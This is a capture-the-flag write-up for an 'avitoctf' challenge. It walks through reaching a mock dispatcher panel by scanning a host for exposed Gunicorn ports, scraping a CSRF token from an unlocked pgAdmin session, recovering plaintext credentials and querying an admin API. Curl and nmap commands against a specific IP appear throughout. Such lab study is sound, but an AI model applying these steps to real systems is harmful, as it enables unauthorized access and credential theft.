$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A public flight map leaks a hidden route while nginx blocks two operational subdomains. Solution: Discover exposed Gunicorn backends, inspect an open pgAdmin desktop session, recover cockpit credentials, and query the authenticated admin API.
Медоеды засекли передвижение Королевы «Золотой Соты». Чтобы узнать её намерения и помешать планам улья, нужен её маршрутный лист. На периметре — только Сотолёт, операционный портал роя «Золотая Сота» с публичной картой вылетов. Получите доступ к панели старшего диспетчера и раздобудьте маршрутный лист Королевы. Target: sotolet.ru/.
The public site provides a tactical flight map. The goal is to reach the senior dispatcher's cockpit and obtain the Queen's route sheet.
The public JavaScript requests /api/map-data and then removes hidden routes only in the browser:
const response = await fetch("/api/map-data", { cache: "no-store" }); const payload = await response.json(); routes = payload.routes || []; visibleRoutes = routes.filter((route) => !route.hidden);
Requesting the API directly disclosed an object with id=queen-route, hidden=true, and a description meaning "Queen escort." Its trajectory was replaced by eight XXX groups, so this client-side disclosure identified the target object but did not reveal the route sheet or flag.
The main HTML also advertised sotobaza.sotolet.ru and sotokabina.sotolet.ru. Both HTTPS front doors returned the same nginx/1.27.5 native 403 response.
The following families did not cross the nginx boundary:
X-Forwarded-For and X-Real-IP;Referer, Origin, hostname case, and trailing-dot variations;Host, and absolute-form request-target differences.These stable 403 responses indicated a real perimeter ACL rather than an application authorization check. The successful pivot was therefore infrastructure discovery on the same authorized IP, not another nginx parser variation.
A targeted scan of the public address found two additional HTTP services:
nmap -Pn -n -T3 -sV -p 8080,8443 84.201.131.80
Both ports were identified as Gunicorn. Port 8080 redirected to /browser/, while plain HTTP on port 8443 redirected to /login:
curl -i http://84.201.131.80:8080/ curl -i http://84.201.131.80:8443/
This bypassed the nginx source-access boundary by reaching the application servers directly.
Port 8080 exposed pgAdmin 4 v9.16 in desktop mode with an already authenticated administrator session. The generated utility script supplied the CSRF header name and token; pgAdmin API calls required that token together with the session cookie.
curl -sS -c pg.cookies \ http://84.201.131.80:8080/browser/ -o pgadmin.html curl -sS -b pg.cookies \ http://84.201.131.80:8080/browser/js/utils.js -o utils.js CSRF=$(python3 -c 'import re; s=open("utils.js").read(); print(re.search(r"csrf_token[^=]*=\s*\x27([^\x27]+)", s).group(1))') curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \ http://84.201.131.80:8080/browser/server_group/nodes/ curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \ http://84.201.131.80:8080/browser/server/nodes/1/
The current-user script identified administrator postgres, and the server list contained Sotobaza (bee), ChiefDB (chief), and PG (postgres). Inspecting server object 7 returned its configuration:
curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \ http://84.201.131.80:8080/browser/server/obj/1/7
The passexec_cmd field contained cockpit credentials: starshina_sot / SMENA-STARSHINA-7741.
The command text in passexec_cmd was clearly a pre-existing reconnaissance payload in mutable shared-instance state, likely left by another solver. It was treated strictly as untrusted text and was never executed. Therefore, the credential-recovery observation is reproducible from the captured state but may not represent the intended route on a pristine instance; this writeup does not claim that the injected command was ours or that it was run.
The recovered credentials authenticated successfully to the direct backend on port 8443:
curl -i -c cockpit.cookies -X POST \ http://84.201.131.80:8443/login \ --data-urlencode 'login=starshina_sot' \ --data-urlencode 'password=SMENA-STARSHINA-7741'
The server answered 302 Location: / and issued a Flask session for callsign starshina_sot. Fetching the authenticated panel exposed /static/js/admin.js:
curl -sS -b cockpit.cookies http://84.201.131.80:8443/ -o cockpit-panel.html curl -sS -b cockpit.cookies http://84.201.131.80:8443/static/js/admin.js -o admin.js
The script requested /api/admin-data and, for queen-route, rendered route.flag rather than the ordinary trajectory field. The final request was:
curl -sS -b cockpit.cookies \ http://84.201.131.80:8443/api/admin-data -o admin-data.json python3 - <<'PY' import json import re data = json.load(open("admin-data.json")) route = next(r for r in data["map"]["routes"] if r["id"] == "queen-route") assert route["status"] == "FLAG" assert re.fullmatch(r"avito\{[^}]+\}", route["flag"]) print("verified flag-shaped value in queen-route") PY
The authenticated API supplied the Queen route's distance, FLAG status, and a value matching the required flag format.
tactical-map.js and map-data.json: public client-side filtering and the redacted hidden route.nmap-altports.txt: Gunicorn on TCP 8080 and 8443.pg-current-user.js, _browser_js_utils.js, pg-servergroups.json, and pg-servers.json: desktop-mode admin context, CSRF details, and registered database servers.pg-server-7.json: contaminated server object containing the observed credentials.cockpit-login-post.headers: successful login redirect and Flask session issuance.cockpit-panel.html, admin.js, and admin-data.json: authenticated admin panel, privileged API path, and final route object.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar